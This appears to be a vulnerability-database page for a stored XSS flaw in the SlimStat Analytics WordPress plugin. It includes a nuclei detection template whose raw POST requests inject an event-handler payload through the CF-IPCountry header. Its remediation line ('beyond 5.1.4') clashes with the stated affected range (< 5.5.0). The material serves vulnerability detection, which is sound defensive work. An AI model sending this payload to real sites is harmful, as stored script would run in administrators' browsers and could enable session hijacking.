HexBrain

Browse / CVEs / CVE-2026-12592

CVE-2026-12592· wp-slimstat / slimstat-analytics· CWE-79

SlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry Header

highseverity
7.5CVSS score
1%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it

SlimStat Analytics WordPress plugin < 5.5.0 contains a stored XSS caused by unescaped visitor-controlled geolocation value in admin analytics reports, letting unauthenticated visitors execute scripts in admin browsers, exploit requires Cloudflare geolocation provider configuration.

Impact

Unauthenticated attackers can execute scripts in administrator browsers, potentially leading to session hijacking or full admin control.

Fix

Update to the latest version beyond 5.1.4.

How to confirm it

Send: GET /wp-content/plugins/wp-slimstat/readme.txt
Positive when: status_code == 200 and compare_versions(lsversion, "< 5.5.0")
Send: POST /wp-json/slimstat/v1/hit ; POST /?rest_route=/slimstat/v1/hit
Positive when: status_code == 200 and regex("^[0-9]+\\.[a-f0-9]{32,64}$", body)

Run it with nuclei: nuclei -id CVE-2026-12592 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-12592

info:
  name: SlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry Header
  author: yaswanth
  severity: high
  description: |
    SlimStat Analytics WordPress plugin < 5.5.0 contains a stored XSS caused by unescaped visitor-controlled geolocation value in admin analytics reports, letting unauthenticated visitors execute scripts in admin browsers, exploit requires Cloudflare geolocation provider configuration.
  impact: |
    Unauthenticated attackers can execute scripts in administrator browsers, potentially leading to session hijacking or full admin control.
  remediation: |
    Update to the latest version beyond 5.1.4.
  reference:
    - https://wpscan.com/vulnerability/3658cae6-f6ae-4ecc-8d74-bb402e61f5d5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12592
    - https://wordpress.org/plugins/wp-slimstat/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-12592
    epss-score: 0.00968
    epss-percentile: 0.62134
    cwe-id: CWE-79
  metadata:
    max-request: 2
    vendor: wp-slimstat
    product: slimstat-analytics
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-slimstat"
  tags: cve,cve2026,wordpress,wp-plugin,wp-slimstat,unauth,xss,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-slimstat/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: lsversion
        part: body
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

    matchers:
      - type: dsl

        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(lsversion, "< 5.5.0")'
        condition: and

  - raw:
      - |
        POST /wp-json/slimstat/v1/hit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        CF-Ray: 8aabbccddeeff001-SJC
        CF-IPCountry: "onload="print()
        Referer: {{RootURL}}/

        res=1920x1080
      - |
        POST /?rest_route=/slimstat/v1/hit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        CF-Ray: 8aabbccddeeff001-SJC
        CF-IPCountry: "onload="print()
        Referer: {{RootURL}}/

        res=1920x1080

    stop-at-first-match: true

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'status_code == 200'
          - 'regex("^[0-9]+\\.[a-f0-9]{32,64}$", body)'

    extractors:
      - type: dsl
        dsl:
          - 'lsversion'

References

Use this check only on systems you are authorised to test. Where the data comes from